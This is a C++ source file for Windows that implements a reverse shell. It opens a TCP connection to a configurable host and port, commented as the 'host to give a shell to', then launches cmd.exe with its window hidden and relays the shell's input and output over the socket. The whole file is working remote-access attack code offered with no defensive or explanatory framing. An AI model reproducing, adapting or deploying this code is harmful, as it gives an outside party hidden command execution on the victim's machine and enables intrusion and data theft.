#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#define MAX_BUFFER_LENGTH 2048
#define WIN32_MEAN_AND_LEAN
#define SET_ERROR_MSG_LANGUAGE_ENGLISH      // Remove this line to set the error language msg to your own language
#define CONNECT_TO_HOST "127.0.0.1"         // Host to give a shell to
#define CONNECT_TO_PORT 80                // Port to connect to
using namespace std;

typedef struct THREADINFO
{
    SOCKET cSocket;
	HANDLE cmd_read;
	HANDLE cmd_write;
	HANDLE socket_read;
	HANDLE socket_write;
	SECURITY_ATTRIBUTES secattr;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
} THREADINFO;

// Forward declaration of threads
unsigned long WINAPI* HandleInput(void* threadinfo);
unsigned long WINAPI* HandleProcess(void* threadinfo);
unsigned long WINAPI* HandleSocket(void* threadinfo);

// Error function
void ShowLastError();

int main(int argc, char* argv[])
{
    system("cls");
	printf("[?] Initializing WSADATA...\r\n");
	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2, 2), &wsaData))
	{
		printf("[-] WSAStartup() failed.\r\n");
		ShowLastError();
		system("pause");
		return 1;
	}
	printf("[+] Socket DLL loaded, WSADATA initialized.\r\n");

    printf("[?] Creating socket...\r\n");
    THREADINFO thread;
    memset(&thread, 0, sizeof(THREADINFO));
	thread.cSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (thread.cSocket == INVALID_SOCKET)
	{
		printf("[-] Failed to create socket.\r\n");
		ShowLastError();
		WSACleanup();
		system("pause");
		return 1;
	}
	printf("[+] socket() created.\r\n");

	hostent *remoteHost;
	char* host = CONNECT_TO_HOST;
	if (isalpha(int(host[0])))
	{
		remoteHost = gethostbyname(CONNECT_TO_HOST);
		if (remoteHost != NULL)
		{
			host = inet_ntoa(*(in_addr *)*remoteHost->h_addr_list);
			printf("[+] IP of %s: %s (hostname: %s).\r\n", CONNECT_TO_HOST, host, remoteHost->h_name);
		}
		else
			printf("[-] Could not retrieve IP and hostname.\r\n");
	}
	else
	{
		unsigned int addr = inet_addr(host);
		remoteHost = gethostbyaddr((char*)&addr, 4, AF_INET);
		if (remoteHost == NULL)
			printf("[-] Could not retrieve hostname.");
		else
			printf("[+] Hostname of %s: %s\r\n", host, remoteHost->h_name);
	}

 	printf("[?] Connecting to %s on port %u...\r\n", CONNECT_TO_HOST, CONNECT_TO_PORT);
	sockaddr_in sAddr;
 	sAddr.sin_family = AF_INET;
 	sAddr.sin_addr.s_addr = inet_addr(CONNECT_TO_HOST);
 	sAddr.sin_port = htons(CONNECT_TO_PORT);
	if (connect(thread.cSocket, (SOCKADDR*)&sAddr, sizeof(sAddr)) == SOCKET_ERROR)
	{
		printf("[-] Failed to connect.\r\n");
		ShowLastError();
		WSACleanup();
		system("pause");
		return 1;
	}
	printf("[+] Connected to %s on port %u.\r\n", CONNECT_TO_HOST, CONNECT_TO_PORT);

	thread.secattr.nLength = sizeof(SECURITY_ATTRIBUTES);
	thread.secattr.bInheritHandle = true;
	CreatePipe(&thread.socket_read, &thread.cmd_write, &thread.secattr, 0);
	CreatePipe(&thread.cmd_read, &thread.socket_write, &thread.secattr, 0);
	GetStartupInfo(&thread.si);
	thread.si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	thread.si.hStdError = thread.socket_write;
	thread.si.hStdOutput = thread.socket_write;
	thread.si.hStdInput = thread.socket_read;
    thread.si.wShowWindow = SW_HIDE;

    printf("[?] Creating process...\r\n");
	if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, true, 0, NULL, NULL, &thread.si, &thread.pi))
	{
        printf("[-] Failed to create process.\r\n");
        ShowLastError();
        WSACleanup();
        closesocket(thread.cSocket);
        system("pause");
        return 1;
    }
    printf("[+] Process created.\r\n");
    Sleep(200);

    HANDLE hInputT = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleInput, (void*)&thread, 0, 0);
    printf("[+] Created HandleInput thread.\r\n");
	HANDLE hProcessT = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleProcess, (void*)&thread, 0, 0);
	printf("[+] Created HandleProcess thread.\r\n");
	HANDLE hSocketT = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleSocket, (void*)&thread, 0, 0);
    printf("[+] Created HandleSocket thread.\r\n");

    WaitForSingleObject(hProcessT, INFINITE);           // Wait for the thread to finish
    CloseHandle(hProcessT);
    closesocket(thread.cSocket);
    WaitForSingleObject(hSocketT, INFINITE);            // Wait for the socket thread to finish
    CloseHandle(hSocketT);
    printf("[+] All done, press any key to exit.\r\n");
    WaitForSingleObject(hInputT, INFINITE);
    CloseHandle(hInputT);
	return 0;
}

// input thread
unsigned long WINAPI* HandleInput(void* threadinfo)
{
	THREADINFO* thread = (THREADINFO*)threadinfo;
	unsigned long b_send = 0;
	char input_buf[MAX_BUFFER_LENGTH+1];
	while (thread->cSocket)
	{
		memset(&input_buf, 0, sizeof(input_buf));
		cin.getline(input_buf, sizeof(input_buf));
		input_buf[strlen(input_buf)] = '\n';
		send(thread->cSocket, input_buf, (int)strlen(input_buf), 0);
        WriteFile(thread->cmd_write, input_buf, (int)strlen(input_buf), &b_send, 0);
        //printf("%s", input_buf);
	}
	printf("[+] HandleInput thread has finished.\r\n");
	return 0;
}

// read cmd.exe output thread
unsigned long WINAPI* HandleProcess(void* threadinfo)
{
    THREADINFO* thread = (THREADINFO*)threadinfo;
    char incoming_text[MAX_BUFFER_LENGTH];
    unsigned long b_read, b_avail, p_exitcode = 0;
    while (thread->cSocket)
    {
		Sleep(100);
		memset(incoming_text, 0, sizeof(incoming_text));
		PeekNamedPipe(thread->cmd_read, incoming_text, sizeof(incoming_text), &b_read, &b_avail, NULL);
		while (b_read != 0)
		{
			ReadFile(thread->cmd_read, incoming_text, sizeof(incoming_text), &b_read, NULL);
			printf("%s", incoming_text);
			send(thread->cSocket, incoming_text, b_read, 0);
			Sleep(200);			// give cmd.exe time to process and send the message
			memset(incoming_text, 0, sizeof(incoming_text));
			PeekNamedPipe(thread->cmd_read, incoming_text, sizeof(incoming_text), &b_read, &b_avail, NULL);
		}

		if (!GetExitCodeProcess(thread->pi.hProcess, &p_exitcode))
		{
			printf("[-] Failed to get process status: %d - fatal error.\r\n", errno);
			TerminateProcess(thread->pi.hProcess, GetLastError());
			break;
		}
		if (p_exitcode != STILL_ACTIVE)
			break;
    }
    printf("[+] HandleProcess thread has finished.\r\n");
}

// read from socket thread
unsigned long WINAPI* HandleSocket(void* threadinfo)
{
    THREADINFO* thread = (THREADINFO*)threadinfo;
	char incoming_text[MAX_BUFFER_LENGTH+1];
	memset(&incoming_text, 0, MAX_BUFFER_LENGTH);
	unsigned long b_recv, b_read, b_avail, p_exitcode = 0;
	while (thread->cSocket)
	{
        Sleep(200);
        b_recv = MAX_BUFFER_LENGTH;
		while (b_recv >= MAX_BUFFER_LENGTH)
		{
			b_recv = recv(thread->cSocket, incoming_text, MAX_BUFFER_LENGTH, 0);
			if (b_recv == -1)
            {
				switch (errno)
				{
				case 10053:
					printf("[-] Can't recv() from a closed socket.\r\n");
					break;
				case 10054:
				case 0:
					printf("[*] Remote host (%s) closed connection.\r\n", CONNECT_TO_HOST);
					break;
				default:
					printf("[*] recv() error: %s\r\n", strerror(errno));
					break;
				}
				thread->cSocket = 0;
				break;
			}
			else if (b_recv == 0)
			{
				printf("[*] Remote host (%s) closed connection.\r\n", CONNECT_TO_HOST);
				thread->cSocket = 0;
				break;
			}
			incoming_text[b_recv] = '\0';
			printf("%s", incoming_text);
			WriteFile(thread->cmd_write, incoming_text, b_recv, &b_read, 0);
		}
	}
	printf("[+] HandleSocket thread has finished.\r\n");
}

void ShowLastError()
{
    void* lpMsgBuf;
    FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError(),
        #ifndef SET_ERROR_MSG_LANGUAGE_ENGLISH
            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)
        #else
            MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US)
        #endif
        , (LPTSTR) &lpMsgBuf, 0, NULL);
    printf("%s", lpMsgBuf);
    LocalFree(lpMsgBuf);
}